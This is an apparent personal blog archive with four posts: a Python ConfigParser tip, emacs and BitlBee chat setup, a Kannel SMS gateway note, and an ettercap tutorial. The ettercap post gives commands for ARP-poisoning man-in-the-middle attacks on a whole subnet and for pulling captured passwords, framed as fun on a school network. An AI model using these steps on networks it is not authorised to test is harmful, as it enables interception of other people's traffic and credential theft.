Archive for the ‘hack’ Category

Behaviour of – Python

February 7, 2011 2 comments

I am playing around with python for a while. My code uses ConfigParser to parse a piece of configuration file. Now the documentation says accepts list of file names as an argument and tries to read them one by one and returns the list of files that are read successfully.This behaviour is helpful when you have multiple configuration files all across your system.

what the documentation doesn’t tell you is, which configuration file it will use for further processing in case of multiple successful reads. ConfigParser actually uses the last read file for further processing. So prioritize your  configuration files accordingly

import ConfigParser

config_parser = ConfigParser.ConfigParser()

filenames = [‘low_priority_file’,’medium_priority_file’,’high_priority_file’]

Categories: fedora, foss, fun, hack, python Tags: , ,

Micro blogging with emacs addons

November 1, 2009 3 comments

Emacs has become my favourite application these days, Its now part of my digital life. I always wondered why i have missed such an nice app before.

For those who are n00bs and non-geeks goto

Makes life colourful :D. It hasn’t made into Fedora repository yet, But package review is on at

Add the following to your ~/.emacs file to get it working

(require ‘color-theme)

I used it to connect Gtalk from emacs, FYI gtalk uses a open protocol named XMPP (jabber).It is a great app. Find the package review request at

Add the following to your ~/.emacs file to get it working

(setq jabber-account-list
(:network-server . “”)
(:connection-type . ssl))))

Back to Micro blogging: is a free software microblogging service, similar to Twitter, based on the code base. It has a Twitter bridge, which means you can associate your twitter account to , so that the notices you post to will be posted to your twitter account too;

It has a XMPP bridge, which means you can post notices to from gtalk (gtalk uses XMPP). To post notices to using gtalk add bot to your gtalk contacts list and activate the bridge in .

Facebook has a app, which fetches notices from your account and posts updates in facebook;

So the tree goes like,
XMPP (gtalk)-> ->{Twitter,facebook}

Now, the heck it relates to emacs? yes, use emacs-jabber and msg to post notices;


Alternatively, you can use BitlBee; BitlBee brings IM (instant messaging) to IRC clients. It’s a great solution for people who have an IRC client running all the time and don’t want to run an additional MSN/AIM/whatever client.

Bitlbee and erc can be combined to get a good experience;

Configuring bitlbee:

cat /etc/bitlbee/bitlbee.conf |grep -v “#”

RunMode = inetd
User = bitlbee
DaemonInterface =
DaemonPort = 6667
ClientInterface =
AuthMode = Open
ConfigDir = /var/lib/bitlbee/
PingInterval = 0


We use xinetd to run bitlbee:

bash-4.0$ cat /etc/xinetd.d/bitlbee
# default: off
# description: bitlbee is an IRC gateway to other IM networks.
service ircd
disable = no
socket_type = stream
protocol = tcp
wait = no
user = bitlbee
bind =
server = /usr/sbin/bitlbee
port = 6667
log_on_failure += USERID

Start xinetd,

service xinetd start
chkconfig xinetd on

Now in emacs,

M-x erc
IRC Server:
IRC Port:6667

Above erc commands should get you inside bitlbee’s local irc server;

Register your nickname:

You should register your nick with local bitlbee irc server using,

register ‘password’

(Don’t forget to auto identify =P )

Add your IM account(s):

account add jabber ‘password’

Activate your IM account(s):

account on 0

Now it should automatically connect you to gtalk; Bitlbee supports Various IM networks including yahoo;

Identica Mode for Emacs:

If you don’t want wasting your time with bitlbee, emacs-jabber and XMPP bridge; Then emacs-identica-mode is the one for you;Its under review at

Identica mode for emacs HOWTO:

Categories: emacs, fun, hack

My Summer Training Task:Kannel SMS setup on fedora

July 1, 2009 1 comment

I came to know about dgplug’s summer training when kushal announced it in ilugc,i didn’t know mbuf will be there to guide us [:)] ,my task in summer training is to setup a SMS gateway on fedora with kannel, test it and document it.

With the help of kannel you can send/receive sms from your GNU/Linux box.(Don’t just think of some third party text message sending sites [:P], its more than that )

Here are the use case scenarios i am trying to address:

* User sends us a text message.

* We might send them a reply after processing it (web application is used to process the text message).

* We might also periodically able to send the user text messages.

I successfully completed testing the last use case and in the process of documenting it.

I always wanted to create a desktop app for GNU/Linux with GTK+ ,i am thinking of picking up another project after finishing this task [;)].

Apart from summer training i am now teaching php in a private training centre for free,you know what teaching is the best way for doing some GNU/Linux advocacy [:D].

btw: Switch to firefox 3.5 😉

Categories: dgplug, fun, hack, install

Flirting with ettercap #1

April 3, 2009 1 comment

Playing in schools network is kind of fun ;-).You might have heard about cain , it for windoze to play around in network.

Gnu/Linux got a more cool tool called ettercap (i have been using it for years) get it from

Fedora Guys could install it with “yum install ettercap”

Getting Started with Ettercap:

i mostly work in runlevel 3, if not open up terminal (or ctrl+alt+f1 ;)) Switch to root user, because normal users cannot open raw sockets i guess. (correct me if i am wrong)

Just type: “ettercap”

It will ask you to select an user interface.

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Please select an User Interface

Here Interface refers to whether you want “Text” interface or “Ncurses” interface or “Gtk” interface.As we are working in terminal we use text interface (I am a command freak )

T <- for Text interface
C <- for Ncurses interface
G <- for GTK interface

we are going to use T. Type:”ettercap -T” in terminal.

You will see contents of packets being printed on your terminal so we started listening to the active interface.Any time press ‘q’ to quit ettercap its the safest way to quit ettercap (no ctrl+c please, its deprecated )

Now Type: “ettercap -Tq”

What we are doing is, asking ettercap to be quiet, “Hey ettercap don’t sh*t on my screen by printing the contents of each packet you capture”

Network Interface Selection:

A computer might have more than one network interfaces like your wired lan, wireles lan,loopback interface and so on.

ettercap can work on any interfaces, all we have to is tell ettercap which network interface to use.

To list the available network interfaces

Type “ettercap -Tq -I”

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

List of available Network Interfaces:

eth0 eth0
lo Local Loopback

so, we have two network interfaces eth0 and lo.

To select the network interface use “ettercap -Tq -i eth0”, i have selected my wired lan so that ettercap will listen and sniff packets.

If you are those windoze user, i am sorry you have to deal with odd network interface names.

Man in the niddle attack with ettercap:

Type:”ettercap -Tq -i eth0 -M arp:remote /target-range1/ /target-range2/

The packets between target-range1 and target-range will be hijacked and they will be going through our machine (magic of arp-cache-poisoning)

Example:”ettercap -Tq -i eth0 -M arp:remote / //”

Let is the gateway of our network,then all the packets between the gateway and all the machines in the subnet will be going through our machine (i.e we are the gateway for all the machines 😛 )

Another Example:”ettercap -Tq -i eth0 -M arp:remote / /

We could specify range of ip address.

Packet Logging:

type:”ettercap -Tq -L dump -i eth0″

Two files will be created dump.eci and dump.ecp these files can be analysed with etterlog 😉 .

type:”etterlog dump.eci”

It will display the connection details of dumped packets.

type:”etterlog -p dump.eci”

It will display the passwords captured if any 😉

man etterlog for more details.

Some people might want to view the captured packets in more cool protocol analyser like wireshark, but you cannot open dump.eci and dump.ecp with wireshark.To do so you have to save the packets in pcap (tcpdump) format.

use “ettercap -Tq -w dump -i eth0”

After completing packet capture you could directly open the dump using wireshark.

converting from pcap format to etterlog format:

Type:”ettercap -Tq -L dump -r pcap” where pcap is the packet dump file we just saved in tcpdump format.


Coming soon: Ettercap plugins 😀

Categories: ettercap, hack, Linux, network